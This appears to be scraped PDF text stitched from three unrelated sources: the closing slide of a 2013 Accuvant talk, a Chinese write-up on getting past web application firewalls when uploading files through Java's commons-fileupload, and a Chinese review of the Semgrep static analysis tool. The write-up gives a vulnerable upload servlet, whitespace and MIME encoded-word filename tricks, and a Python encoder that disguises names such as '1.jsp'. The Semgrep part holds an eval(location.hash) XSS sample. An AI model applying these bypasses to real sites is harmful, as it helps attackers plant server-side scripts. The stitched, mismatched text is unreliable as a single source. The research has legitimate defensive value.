Will drop public scripts, tools, etc. here soon
Code, notes, etc.
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
•
[email protected]
•
https://twitter.com/quine
Questions / Contact
•
[email protected]
•
https://twitter.com/tmanning
Greetz:
bNull, jono, aloria, cji, d0c_s4vage, KF, cmulliner, natron, tigerbeard, jduck, m0nk_dot, drspringfield, zek, marcinw,
sl0w, drraid, amberalla, solareclipse, katalyst, cd, sbit, awr, tkrpata, kingpin, thegrugq, eas, rumble, ddz, sa7ori,
HockeyInJune, pof, oxff, zenofex, hustlelabs, redpantz, cmillerchrisko, mcalias, rfp
And the rest of the jerks in
#busticati
&
#aha
And to anyone we forgot: sorry.
Proprietary and Confidential. Do Not Distribute. © 2013 Accuvant, Inc. All Rights Reserved.
www.accuvant.com | pdf |
@Y4tacker
Java⽂件上传⼤杀器-绕waf(针对commons-
fileupload组件)
来个中⼆的标题,哈哈哈,灵感来源于昨晚赛博群有个师傅@我是killer发了篇新⽂章,在那
篇⽂章当中提到了在 filename="1.jsp" 的filename字符左右可以加上⼀些空⽩字符 %20
%09 %0a %0b %0c %0d %1c %1d %1e %1f ,⽐如 %20filename%0a="1.jsp"(直接⽤
url编码为了区别) 这样导致waf匹配不到我们上传⽂件 名,⽽我们上传依然可以解析,我对
次进⾏了更深⼊的研究,也是对师傅⽂章对⼀次补充,下⾯为了衔接还是先梳理⼀遍,看过
赛博群的师傅可以先跳过前⾯的部分,直接看最后⼀部分(毕竟我想发个博客)
上传代码
针对使⽤commons-fileupload处理⽂件上传
public class TestServlet extends HttpServlet {
public void doPost(HttpServletRequest request, HttpServletResponse
response) throws IOException {
String path = "/Users/y4tacker/Desktop/JavaStudy/testtest";
try {
ServletFileUpload servletFileUpload = new
ServletFileUpload(new DiskFileItemFactory());
servletFileUpload.setHeaderEncoding("UTF-8");
List<FileItem> fileItems =
servletFileUpload.parseRequest(request);
for (FileItem fileItem : fileItems) {
response.getWriter().write(fileItem.getName());
fileItem.write(new File(path+"/"+fileItem.getName()));
前置分析
将断点打在 servletFileUpload.parseRequest(request) ,跟⼊ getItemIterator
⼀直往下
到 org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl#File
ItemIteratorImpl
Content-Type 要开头为 multipart/
}
}catch (Exception e){
}
}
}
接下来对流的处理部分忽略,到下⾯有个 this.boundary =
FileUploadBase.this.getBoundary(contentType); ,因为⽂件上传的格式就是,可以猜
出这⾥就是解析这⼀部分
当时师傅跳过中间⼀些部分到了
org.apache.commons.fileupload.FileUploadBase#getFileName(java.lang.Strin
g)
在 parser.parse(pContentDisposition, ';'); ,简单说下作⽤是先⽤分号将 form-
data; name="file"; filename="1.jsp" 分割然后获取 等于号前⾯的值,这⾥我们看看
到getToken当中的栈(⽅便⼤家调试)
------WebKitFormBoundaryTyBDoKvamN58lcEw
Content-Disposition: form-data; name="filename"; filename="1.jsp"
233
------WebKitFormBoundaryTyBDoKvamN58lcEw--
这⾥有个到 Character.isWhitespace ,也就是@我是killer师傅提到的点,也是我们开篇
前⾔中说到的利⽤⽅式,就不多提了
正⽂开启
看看 getFileName 调⽤前,其实传⼊了⼀个 headers ,这个 headers 来源于上⾯的
this.multi
getToken:99, ParameterParser (org.apache.commons.fileupload)
parseToken:162, ParameterParser (org.apache.commons.fileupload)
parse:311, ParameterParser (org.apache.commons.fileupload)
parse:279, ParameterParser (org.apache.commons.fileupload)
parse:262, ParameterParser (org.apache.commons.fileupload)
parse:246, ParameterParser (org.apache.commons.fileupload)
getBoundary:423, FileUploadBase (org.apache.commons.fileupload)
<init>:988, FileUploadBase$FileItemIteratorImpl
⽽这个 multi 来源,还与我们上⾯的 bundary 有关
继续回到上⾯的getFileName之前 this.boundary =
FileUploadBase.this.getBoundary(contentType);
失败的绕waf点
从这⾥可以看到和上⾯getFileName的分隔符不⼀样,这⾥⽤了两个分隔符,那么这⾥我就在
想如果getFileName那⾥如果和这个逻辑不相关岂不是可以拿下
我们知道上⾯getFileName的参数来源于
org.apache.commons.fileupload.MultipartStream#readHeaders ,可以看到这⾥是
通过for循环遍历并调⽤getBytes获取
⽽这个input来源就是我们之前传⼊的输⼊流
因此这⾥的绕过思路便是⽆法奏效,主要原因是,看getFilename这⾥,分割符只有 ; ,我也
是⿇了
成功的绕waf点
在 org.apache.commons.fileupload.ParameterParser#parse(char[], int, int,
char) ,
wow!!,这⾥对value进⾏了 MimeUtility.decodeText 操作
我们知道对MIME的编码出现在邮件中,因为 SMTP 协议⼀开始只⽀持纯 ASCII ⽂本的传
输,这种情况下,⼆进制数据要通过 MIME 编码才能发送
那我们来看看这个decode⾥⾯⼲了啥,我直接看了下⾯如果 =? 开头则会调⽤decode⽅法
我来对这串又臭又长的代码进⾏解读,主要是为了符合RFC 2047规范
1. 要求以 =? 开头
2. 之后要求还要有⼀个 ? ,中间的内容为编码,也就是 =?charset?
3. 获取下⼀个 ? 间的内容,这⾥与下⾯的编解码有关
4. 之后定位到最后⼀个 ?= 间内容执⾏解码
这⾥我们来⼀个实例⽅便理解上⾯步骤 =?gbk?Q?=31=2e=6a=73=70?=
从上⾯的步骤可以看到对指⽀持两种解码⼀种是 B ⼀种 Q ,分别对应 Base64 以及 Quoted-
printable 编码,对于前者⼤家都很熟悉,对于后者我们这⾥只说如何编码
Quoted-printable将任何8-bit字节值可编码为3个字符:⼀个等号"="后跟随两个⼗六进制数
字(0–9或A–F)表⽰该字节的数值。例如,ASCII码换页符(⼗进制值为12)可以表⽰
为"=0C", 等号"="(⼗进制值为61)必须表⽰为"=3D",gb2312下“中”表⽰为=D6=D0
因此我们就可以对这个value进⾏⼀些编码的骚操作,下⾯我们来梳理下可利⽤的点
1. ⼀个是控制字符串的编码,这⾥⽀持编码很多因为是调⽤ new String(decodedData,
javaCharset(charset)) ,这个javaCharset函数预制了⼀些,可以看到如果不是这⾥⾯
的就直接返回那个指,⽽new String函数⾥⾯会调⽤所有java⽀持的编码格式去解析,也
就是 charsets.jar ⾥⾯的内容
private static String javaCharset(String charset) {
if (charset == null) {
2. 控制 Base64 以及 Quoted-printable 去解码
这⾥来测试⼀下,对能编码的都编码⼀遍
return null;
} else {
String mappedCharset =
(String)MIME2JAVA.get(charset.toLowerCase(Locale.ENGLISH));
return mappedCharset == null ? charset : mappedCharset;
}
}
static {
MIME2JAVA.put("iso-2022-cn", "ISO2022CN");
MIME2JAVA.put("iso-2022-kr", "ISO2022KR");
MIME2JAVA.put("utf-8", "UTF8");
MIME2JAVA.put("utf8", "UTF8");
MIME2JAVA.put("ja_jp.iso2022-7", "ISO2022JP");
MIME2JAVA.put("ja_jp.eucjp", "EUCJIS");
MIME2JAVA.put("euc-kr", "KSC5601");
MIME2JAVA.put("euckr", "KSC5601");
MIME2JAVA.put("us-ascii", "ISO-8859-1");
MIME2JAVA.put("x-us-ascii", "ISO-8859-1");
}
成功上传怎么说
继续增强混淆
还记得吗,当时说的只会提取 =??= 之间的内容,那我们在后⾯加点其他东西也可以,当
然 boundary==?gbk?Q?
=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=54=79
=42=44=6f=4b=76=61=6d=4e=35=38=6c=63=45=77?= 这个不能加,因为他在header头,会
造成解析出问题
你以为就这就完了?
再回到 org.apache.commons.fileupload.util.mime.MimeUtility#decodeText ,这
⾥还有判断 \t\r\n
直接解释代码有点累了,看图啥都懂了
测试相关代码
整合在⼀起了,最后再次感谢 @我是killer 师傅的⽂章带给我的思路
import base64
name = "test"
encode = name.encode("utf-8")
b = base64.b64encode(encode)
print("=?utf-8?B?"+b.decode()+"?=")
res = ""
for i in encode.decode("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print("=?gbk?Q?"+res+"?=") | pdf |
最近有一些代码审计需要,研究了一下自动化审计工具
考虑了一些备选工具
1. Kunlun-M
LoRexxar大佬的审计工具,文档似乎比较老旧,学习成本比较高,试用了一下就放着了
2. CodeQL
GitHub搞得审计工具,QL逐渐流行起来,很多师傅写过文章
3. Semgrep
很早之前看过介绍文章,简单的规则编写让我印象非常深刻
刚好有需求,决定研究学习一下Semgrep
官方提供了非常棒的教程,强烈推荐学习一下 https://semgrep.dev/learn
本文是在学习和尝试实践后,个人的一些体验分享(基于 Semgrep 0.88.0 )
ltdr
可以学习,暂时不推荐使用,但未来可期 跳到总结部分
像写代码一样写规则
这个我觉得是最厉害的地方,官网上也提到了
Write rules that look like your code
No painful and complex DSL
没有痛苦和复杂的DSL完全就是在说CodeQL
Semgrep的“DSL”部分很少,也很容易记,非常符合编程思维,学习成本可以说极低,30分钟从入门到
精通,比如
... 是任意代码段
"..." 是任意字符串
$x 是 x 变量
学习完 learn 教程真的就可以去实践,写自己的规则
不像CodeQL,看完教程好像是懂了,但想要去写检测一个新的洞,文档翻烂,才拼拼凑凑写一个规则
出来(CodeQL大佬带带我有啥技巧吗)
数据流分析
代码审计逃不开数据流分析,Semgrep当然也是支持的
官网例子 https://semgrep.dev/s/P8oz
rules:
- id: taint-example
languages:
- python
message: Found dangerous HTML output
看着非常简单,基本上定义好 source , sink 和 sanitizers 就行
但是稍微变形一下就不行了
污点传播分析还是比较弱,另外还有一些case也检测不到,就不一一列举了
规则复用
这个在实践中还是非常重要的,规则复用更像是知识的积累
Semgrep当然也是支持的,叫 join 模式,也有例子文档 https://semgrep.dev/docs/experiments/join
-mode/overview/
mode: taint
pattern-sanitizers:
- pattern: sanitize_input(...)
pattern-sinks:
- pattern: html_output(...)
- pattern: eval(...)
pattern-sources:
- pattern: get_user_input(...)
severity: WARNING
def route1():
data = get_user_input()
data = sanitize_input(data)
# ok: taint-example
return html_output(data)
def route2():
data = get_user_input()
# ruleid: taint-example
return html_output(data) // 检测到这里
def route1():
data = get_user_input()
data = sanitize_input(data)
# ok: taint-example
return html_output(data)
def route2():
data = get_user_input()
# ruleid: taint-example
return html_output(data) // 检测到
def html_output_wrap(data):
return html_output(data)
def route3():
data = get_user_input()
return html_output_wrap(data) // 无法检测到
rules:
- id: flask-likely-xss
导入 flask-user-input.yaml 获取用户输入( source )
导入 any-template-var.yaml 获取模板渲染( sink )
最后用神奇的 on 语法,把 source 和 sink 连起来
看起来很棒不是,但是这个 on 语法没有污点分析,也就说虽然上面的污点跟踪有些弱,但这里甚至都没
有
join 模式线上用不了,我本地写个例子,检测eval一个变量的场景
检测取location
mode: join
join:
refs:
- rule: flask-user-input.yaml
as: user-input
- rule: unescaped-template-extension.yaml
as: unescaped-extensions
- rule: any-template-var.yaml
renames:
- from: '$...EXPR'
to: '$VAR'
as: template-vars
on:
- 'user-input.$VAR == unescaped-extensions.$VALUE'
- 'unescaped-extensions.$VAR == template-vars.$VAR'
- 'unescaped-extensions.$PATH > template-vars.path'
message: |
Detected a XSS vulnerability: '$VAR' is rendered
unsafely in '$PATH'.
severity: ERROR
// eval.yaml
rules:
- id: eval
patterns:
- pattern: eval($X)
- pattern-not: eval("...")
message: $X
languages:
- js
- ts
severity: WARNING
// location.yaml
rules:
- id: location
languages:
- js
- ts
severity: INFO
message: $VAR
pattern: $VAR = location.$X
合并起来就是检测eval(location.$X),很显然会有xss,有以下代码
使用 join 模式写规则
只能检测到 eval(p1) ,但是如果使用 taint 跑污点分析,都能检测出来
总结
Semgrep是一个非常年轻的开源项目(似乎20年才出现的),功能还不是很完善
1. 污点分析弱,漏报率太高,意味着不能很好的挖洞
2. 规则复用弱,知识不好积累,意味着难以形成工程
这两个连起来,可能适合比较小型,调用关系不复杂的源码场景,以及个人使用
let p1 = location.hash;
let p2 = p1;
function param_wrap(param) {
return param;
}
let p3 = param_wrap(p2);
eval(p1);
eval(p2);
eval(p3);
rules:
- id: eval-join
mode: join
join:
refs:
- rule: location.yaml
as: user-input
- rule: eval.yaml
as: eval
on:
- user-input.$VAR == eval.$X
message: eval-join
severity: ERROR
rules:
- id: eval-taint
mode: taint
pattern-sources:
- pattern: location.$X
pattern-sinks:
- pattern: eval(...)
message: eval-taint
severity: ERROR
languages:
- js
- ts
比如js编译,混淆,调用关系复杂,中大型项目,团队合作就没法用了
如果能解决上面的问题,规则编写的简单将是巨大的优势 | pdf |
Subsets and Splits